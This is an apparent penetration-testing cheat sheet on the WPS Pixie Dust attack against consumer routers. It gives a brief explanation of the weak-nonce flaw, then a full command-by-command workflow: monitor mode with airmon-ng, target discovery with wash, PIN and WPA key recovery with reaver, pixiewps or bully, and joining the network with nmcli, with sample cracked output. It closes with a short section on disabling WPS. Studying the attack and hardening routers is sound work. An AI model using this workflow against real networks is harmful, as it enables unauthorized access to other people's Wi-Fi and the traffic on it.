WPS Pixie Dust Attack

The Pixie Dust attack is an offline PIN recovery attack against WPS (Wi-Fi Protected Setup). Unlike standard online brute-force (trying PINs one at a time over the air), Pixie Dust recovers the PIN instantly — in seconds — by exploiting weak random number generation in the WPS protocol exchange. Discovered by Dominique Bongard in 2014. Affects many consumer routers from 2012–2016 using Ralink, Realtek, and Broadcom chipsets.

How WPS PIN Works

WPS uses an 8-digit PIN, but it is validated as two 4-digit halves separately — reducing the keyspace from 10^8 to 10^4 + 10^4. During the WPS handshake, the AP proves it knows the PIN by computing:

E-Hash1 = HMAC-SHA256(E-S1 || PSK1 || PKE || PKR)
E-Hash2 = HMAC-SHA256(E-S2 || PSK2 || PKE || PKR)

Where:
  E-S1, E-S2 = random nonces generated by the AP (this is the flaw)
  PSK1, PSK2 = first and second halves of the PIN, hashed
  PKE, PKR   = client and AP public keys (visible in exchange)

The Vulnerability

Many AP firmware implementations use a weak or zero RNG for E-S1 and E-S2:

If E-S1 and E-S2 are predictable, the attacker can compute PSK1 and PSK2 offline from the captured M3 message — recovering the full PIN without further interaction.

Tools

Reaver with --pixie-dust (all-in-one)

sudo apt install reaver

# Run pixie dust attack — reaver captures the exchange and calls pixiewps
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 --pixie-dust -vv

# Verbose — see the raw M3/M4 exchange values and pixiewps output
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 --pixie-dust -vvv

# Successful output:
# [+] WPS PIN:   '12345670'
# [+] WPA PSK:   'MyWiFiPassword123'
# [+] AP SSID:   'HomeNetwork'

pixiewps (standalone offline crack)

If you have the raw values from a verbose reaver run:

sudo apt install pixiewps

pixiewps \
  -e <E-Nonce> \
  -r <R-Nonce> \
  -s <E-Hash1> \
  -z <E-Hash2> \
  -a <AuthKey> \
  -n <PKE>
# Output: [+] WPS pin: 12345670  (in milliseconds)

Full Attack Workflow

# Step 1: monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Step 2: find WPS-enabled targets
sudo wash -i wlan0mon
# Look for: WPS Lck = No and Vendor = Ralink/Realtek (most likely vulnerable)
# Note BSSID and channel

# Step 3: pixie dust attack
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 --pixie-dust -vv

# Step 4: if PIN recovered, connect with the PSK
nmcli dev wifi connect "HomeNetwork" password "MyWiFiPassword123"

If Pixie Dust Fails

• AP uses a strong RNG → fall back to standard reaver brute-force (takes hours)
• WPS locked (wash shows Lck: Yes) → wait 1–5 minutes for lock to clear
• WPS disabled → confirm with wash, no WPS attack possible
• Try bully as an alternative WPS tool — sometimes succeeds where reaver fails:

sudo apt install bully
sudo bully -b AA:BB:CC:DD:EE:FF -c 6 -d -v 3 wlan0mon

Defense

Disable WPS entirely — it adds zero security and significant attack surface.

1. Log into router admin panel → Wireless → WPS → Disable
2. Verify with: sudo wash -i wlan0mon — your AP should no longer appear in results
3. If your router cannot disable WPS, replace it or flash OpenWrt (which disables WPS by default)